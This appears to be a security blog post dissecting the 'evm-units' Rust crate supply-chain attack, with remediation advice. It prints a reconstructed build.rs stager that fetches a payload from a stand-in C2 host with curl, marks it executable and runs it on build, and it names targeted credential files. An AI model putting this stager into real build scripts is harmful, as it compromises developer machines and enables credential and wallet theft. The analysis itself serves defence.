The Trojan Horse in Your Cargo.toml: Deconstructing the 'evm-units' Supply Chain Attack

Let's be honest: nobody wants to write their own unit conversion logic. You're building the next big DeFi protocol, and you need to convert Wei to Ether. You're not going to write that function yourself; you're going to search crates.io. You find evm-units. It sounds authoritative. It sounds useful. It has a nice name. You run cargo add evm-units and move on with your life.

That laziness is exactly what the actor ablerust counted on. Published in mid-April 2025, this crate wasn't just a buggy library; it was a dormant predator. For nearly eight months, it sat in the registry, accumulating over 7,400 downloads. That is 7,400 developers—likely holding SSH keys to production servers or private keys to high-value wallets—who invited a vampire into their living room.

This wasn't a sophisticated buffer overflow or a complex race condition. It was social engineering at the package manager level. The target audience was specific: Web3 developers. Why hack a bank when you can hack the developers building the bank?

Rust is famous for its memory safety. It stops you from shooting yourself in the foot with pointers. However, the Rust ecosystem (via Cargo) has a feature that essentially hands you a loaded shotgun and points it at your face: build scripts (build.rs).

A build.rs file is a Rust script that runs before your package is even compiled. It's meant for legitimate tasks like compiling C dependencies or generating code. But here's the kicker: it runs with the user's privileges on the host machine. You don't even need to run the malicious code in your application. The moment you type cargo build—or even when your IDE auto-indexes dependencies—the code executes.

> [!NOTE] > This is the 'Remote Code Execution as a Service' feature of modern package managers. NPM has postinstall, Python has setup.py, and Rust has build.rs.

The evm-units crate utilized this mechanism to achieve "Silent Execution." It didn't panic, it didn't print logs, and it didn't break your build. It simply spawned a background process to phone home, leaving the developer completely unaware that their machine had just been Pwned.

While the original source code has been nuked from crates.io, forensic analysis by Socket and XLab allows us to reconstruct the attack vector. The build.rs script acted as a stager. It wasn't the malware itself; it was the doorman opening the backdoor.

The logic was roughly as follows:

1. Fingerprinting: Identify the host OS (Windows, Linux, or macOS).
2. Fetch: Reach out to a C2 (Command and Control) server controlled by the Kimwolf campaign.
3. Execute: Download a binary blob, grant it executable permissions, and run it.

Here is a reconstruction of what that logic looks like in Rust:

// build.rs reconstruction
use std::process::Command;
use std::env;
 
fn main() {
    // 1. Detect OS
    let target_os = env::var("CARGO_CFG_TARGET_OS").unwrap();
    
    // 2. Construct Payload URL
    let url = match target_os.as_str() {
        "windows" => "http://malicious-c2.xyz/payload.exe",
        "linux" => "http://malicious-c2.xyz/payload.elf",
        "macos" => "http://malicious-c2.xyz/payload.macho",
        _ => return, // Silent exit on unsupported OS
    };
 
    // 3. Download and Execute (simplified)
    // In reality, they used obscure crates or direct socket calls to avoid detection
    let _ = Command::new("curl")
        .args(&["-s", url, "-o", "/tmp/.evm_update"])
        .status();
        
    let _ = Command::new("chmod")
        .args(&["+x", "/tmp/.evm_update"])
        .status();
        
    // 4. Detach process
    Command::new("/tmp/.evm_update")
        .spawn()
        .expect("Update failed"); // Ironically, 'Update failed' is a great cover
}

The actual malware was more obfuscated, likely avoiding direct calls to curl in favor of Rust's std::net to minimize the footprint, but the result is the same: arbitrary binary execution inside your trusted development environment.

Let's walk through the attack chain. You are a developer working on a smart contract deployment script.

1. Infiltration: You add evm-units = "0.1.0" to your Cargo.toml.
2. Trigger: You run cargo build. Cargo sees the build.rs file in the dependency tree and compiles it first.
3. Execution: The build.rs binary runs. It detects you are on a MacBook Pro (M1). It downloads the mach-o payload optimized for ARM64.
4. Persistence: The payload immediately scans your home directory. It looks for ~/.ssh/id_rsa, ~/.aws/credentials, and specifically searches for .json files that look like Ethereum keystores.
5. Exfiltration: Before your actual project even finishes compiling, your environment variables (containing your Infura keys and mnemonic phrases) have been POSTed to a remote server.

This happens in seconds. By the time you see "Finished dev [unoptimized] target(s)", your crypto assets are already being queued for transfer by the attackers.

The actor behind this has been linked to the "Kimwolf" campaign. This isn't script-kiddie vandalism; it's financially motivated persistent threat activity. The malware doesn't just steal data once; it often drops a persistent backdoor (like a cron job or a systemd service) to maintain access.

For a Web3 company, the impact is catastrophic:

• Compromised Deployment Keys: Attackers can redeploy your contracts or drain your treasury multisig if the compromised dev had access.
• Supply Chain Injection: If the compromised machine had write access to other repos, the attacker could push malicious code into your organization's internal packages.
• Direct Asset Theft: Any hot wallets on the developer's machine are gone immediately.

With 7,400 downloads, the potential blast radius is massive. If even 1% of those downloads were on machines with access to mainnet deployment keys, the losses could be in the millions.

If you find evm-units in your Cargo.lock, do not just remove it. Your machine is compromised. Assume the attackers have a shell. Assume they have your passwords.

1. Disconnect: Take the machine offline immediately.
2. Rotation: From a clean device, rotate every single credential that was present on the infected machine. SSH keys, AWS secrets, GitHub tokens, and especially crypto wallet seeds. Transfer funds to new wallets generated on a clean air-gapped device.
3. Nuke and Pave: Do not try to "clean" the malware. Modern persistence techniques are difficult to fully eradicate. Wipe the drive and reinstall the OS.
4. Audit: Check your other repositories. Did the attacker use your credentials to push code elsewhere? Check your git logs.

Going forward, stop blindly trusting crates. Use tools like cargo-vet to audit dependencies and cargo-deny to block unapproved licenses or crates. Trust, but verify—or better yet, don't trust at all.